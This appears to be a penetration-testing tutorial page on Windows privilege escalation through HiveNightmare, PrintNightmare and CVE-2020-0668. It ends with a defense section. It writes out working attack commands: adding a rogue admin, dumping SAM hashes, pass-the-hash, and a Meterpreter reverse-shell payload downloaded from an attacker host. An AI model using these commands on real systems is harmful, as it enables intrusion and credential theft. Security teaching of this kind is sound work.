Kernel & Privileged-Primitive Exploits

TL;DR

When configuration, tokens, groups, and credentials come up empty, an unpatched host may still be elevated by exploiting a known OS vulnerability. The workflow is always the same: confirm the OS build and missing patches, map a missing KB to a public elevation-of-privilege (EoP) exploit, then run it. Most of the practical wins are logical EoP bugs (an ACL mistake, an RPC flaw, a file-move race) rather than memory-corruption kernel exploits - they’re reliable and don’t risk a bluescreen.

# 1. Confirm the patch gap (see Initial enumeration for the full workflow)
systeminfo            # OS build + hotfix list → feed to WES-NG / Watson
wmic qfe list brief   # applied KBs; look up the newest in the Update Catalog

# 2. Spot-check the signature bugs
icacls C:\Windows\System32\config\SAM        # BUILTIN\Users :(RX) → HiveNightmare
Get-Service Spooler                          # Running → PrintNightmare candidate (local PoC needs no SMB)

# 3. Run the matching public PoC (example: PrintNightmare local admin add)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!"

Success indicator: a SYSTEM shell/session (whoami → nt authority\system), a new member of BUILTIN\Administrators, or offline-crackable local hashes extracted from dumped registry hives.

When this applies - and why it’s last

Exploit-driven escalation is powerful but comes last in the operational sequence for three reasons:

• It’s patch-dependent. A current host simply isn’t vulnerable. Always enumerate missing patches first - running a CVE PoC blind wastes time and makes noise for nothing.
• Stability risk. Memory-corruption kernel exploits (the classic MS-bulletin EoPs) can bluescreen a production host if the build doesn’t match exactly. Confirm the target build, and prefer a lab-tested exploit for that precise version. Logical bugs (below) are safe by comparison.
• It’s loud. PoCs drop files, spawn cmd/powershell from unusual parents, and often add an account - heavily signatured and, for account creation, frequently out of scope. Check the rules of engagement before adding a user.

Note

An RCE can double as a local EoP. If a host runs a service vulnerable to a remote exploit (e.g. SMB on 445 vulnerable to MS17-010 / EternalBlue) but it isn’t reachable from outside, run the exploit locally against 127.0.0.1, or port-forward the port to your attack host. The same bug that gives remote SYSTEM gives local SYSTEM.

Confirming the patch gap

The enumeration side lives in Initial enumeration - systeminfo, wmic qfe list brief, and Get-Hotfix produce the OS build and the applied-KB list. Feed that to a matcher:

• WES-NG - runs on your attack host; takes systeminfo output and lists candidate CVEs with exploit references.
• Watson - runs on the target; matches missing KBs to known EoPs.

Then sanity-check the newest applied KB in the Microsoft Update Catalog to gauge how far behind the host is. A build last patched a year ago is a rich target; a fully current one, skip this whole category.

Signature logical EoP bugs

These three are worth recognising on sight - all are logical flaws, reliable, and affect huge install bases.

HiveNightmare / SeriousSam (CVE-2021-36934)

A Windows 10 ACL regression left the registry hives world-readable. Check it directly:

icacls C:\Windows\System32\config\SAM
#  BUILTIN\Users:(I)(RX)        ← vulnerable: any user can read the SAM

The live hives are locked, so the exploit reads them from a Volume Shadow Copy instead (the ACL bug applies there too) - which means success requires a shadow copy to exist. Most Win10 systems with System Protection on have periodic ones. HiveNightmare copies the three hives out:

.\HiveNightmare.exe
#  Success: SAM / SECURITY / SYSTEM hives written to the CWD as SAM-<date> etc.

Pull them to your attack host and extract local hashes with impacket, then pass-the-hash:

impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
# Administrator:500:aad3b...:7796ee39...:::
psexec.py [email protected] -hashes aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54

The hive-to-hashes half is the same flow Backup Operators uses with SeBackup; HiveNightmare just gets you the hive copies without any privilege. See also credential hunting for stray hive backups in %WINDIR%\repair\.

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

A flaw in RpcAddPrinterDriver let any authenticated user install a print driver - which runs as SYSTEM via the Print Spooler - without the SeLoadDriverPrivilege the operation is supposed to require (normally held only by admins and Print Operators). Because the Spooler runs by default on DCs, Win7/10, and many servers, the surface is enormous. Confirm the Spooler is up:

Get-Service Spooler              # Status "Running" ⇒ exploitable; "Stopped" ⇒ not
# sc query spooler also works. Avoid `ls \\localhost\pipe\spoolss` as the test -
# that UNC path needs the Server service/SMB, so it can fail even when the local
# Spooler is up, falsely ruling out a local PoC that uses no SMB at all.

The calebstewart PowerShell PoC does local escalation - by default adding a local admin, or loading a custom DLL for a reverse shell if account creation is out of scope:

Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
# [+] added user hacker as local administrator

The cube0x0 version (modified Impacket + a C# build) handles remote exploitation. Mitigation is registry-driven (NoWarningNoElevationOnInstall / RestrictDriverInstallationToAdministrators), so a host can be patched yet still misconfigured - and vice versa.

ALPC task scheduler (CVE-2018-8440)

The task-scheduler ALPC endpoint exposed SchRpcSetSecurity, which wrote an arbitrary DACL to .job files in C:\Windows\Tasks. Chained with a hard link and an XPS print job, it hijacked a DLL loaded by the SYSTEM-context Spooler. It’s the archetype of the arbitrary-DACL / hard-link class: a SYSTEM service performing a file operation on a path you can redirect.

The arbitrary-file-move class (CVE-2020-0668)

A broader, recurring pattern: a SYSTEM process can be tricked into moving or writing a file to a location you choose, via mount points and symbolic links. CVE-2020-0668 abuses Windows Service Tracing - setting a MaxFileSize smaller than the current log makes SYSTEM rename the log (to .OLD), and that move can be redirected to a target of your choice.

A privileged file move is not code execution on its own - you can’t overwrite protected Windows binaries, so it must be chained:

• DLL-load chains - UsoDllLoader or DiagHub force a SYSTEM service to load a DLL you placed. (UsoDllLoader fails if Windows Update is mid-operation; DiagHub isn’t always available.)
• Unprivileged-startable SYSTEM service - the cleaner route when one exists. The Mozilla Maintenance Service runs as SYSTEM, is startable by unprivileged users, and its binary is not system-protected:

icacls "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
#  BUILTIN\Users:(I)(RX)      ← can't overwrite yet, but can read/execute

Users only have RX on that binary, so you can’t overwrite it directly - the chain is what makes it possible. Full sequence:

# 1. Build the payload, and STAGE TWO COPIES - the move in step 3 corrupts the file
#    it relocates, so you need a clean second copy to install in step 4.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe

:: on the target, pull the payload down twice (clean spare = ...2.exe)
powershell -c "iwr http://10.10.14.3:8080/maintenanceservice.exe -OutFile $env:USERPROFILE\Desktop\maintenanceservice.exe"
powershell -c "copy $env:USERPROFILE\Desktop\maintenanceservice.exe $env:USERPROFILE\Desktop\maintenanceservice2.exe"

:: 2. Run the CVE-2020-0668 PoC (built from the linked repo). Args: source, destination.
::    This is the SYSTEM-performed move that lands your file on the service binary
::    and, as a side effect, leaves YOUR user with (F) on it.
C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

:: 3. icacls now shows <you>:(F) on the binary - overwrite it with the CLEAN spare.
::    copy must run from cmd.exe (not PowerShell), and the name must be exact (drop the "2").
copy /Y C:\Users\student\Desktop\maintenanceservice2.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

:: 4. Start the SYSTEM service (have a multi/handler listening first)
net start MozillaMaintenance

The service start returns an error (the payload isn’t a real service binary), but the Meterpreter callback fires as NT AUTHORITY\SYSTEM before it does. This “privileged write/move → overwrite a SYSTEM-startable binary” shape recurs across many EoP CVEs; recognise it and the specific CVE matters less.

Defense

• Patch promptly. Every exploit here has a fix; the enumeration step only works because hosts fall behind. Prioritise EoP CVEs on multi-user hosts and DCs.
• HiveNightmare - apply the fix and remove existing shadow copies that still contain the readable hives (the ACL fix alone doesn’t scrub old snapshots).
• PrintNightmare - disable the Print Spooler where it isn’t needed (especially DCs), and set the RestrictDriverInstallationToAdministrators / point-and-print registry values; patch and configure, since either alone can leave a gap.
• For the arbitrary-file-move class, binary-ACL hardening is not the fix: the move is performed by SYSTEM, so it lands even when users have only RX on the target. Mitigate the primitive itself - patch the file-move CVE, run services as the least privilege they need (a corrupted non-SYSTEM service yields less), and don’t ship SYSTEM services that unprivileged users can start. (Locking directly user-writable service binaries is still worth doing, but that defends the separate weak-permissions class, not this one.)
• Detect: alert on new local-admin accounts, on cmd/powershell spawned by spoolsv.exe or service hosts, and on known PoC filenames/behaviours - though recompiled PoCs defeat signature-only rules.

Related

• Initial enumeration - the missing-patch enumeration that feeds this page
• Backup Operators - the SAM/SYSTEM-hive-to-hashes flow HiveNightmare plugs into
• Other privileged groups - Print Operators and the SeLoadDriverPrivilege PrintNightmare sidesteps
• Weak permissions - the writable-SYSTEM-binary weakness the file-move class ultimately exploits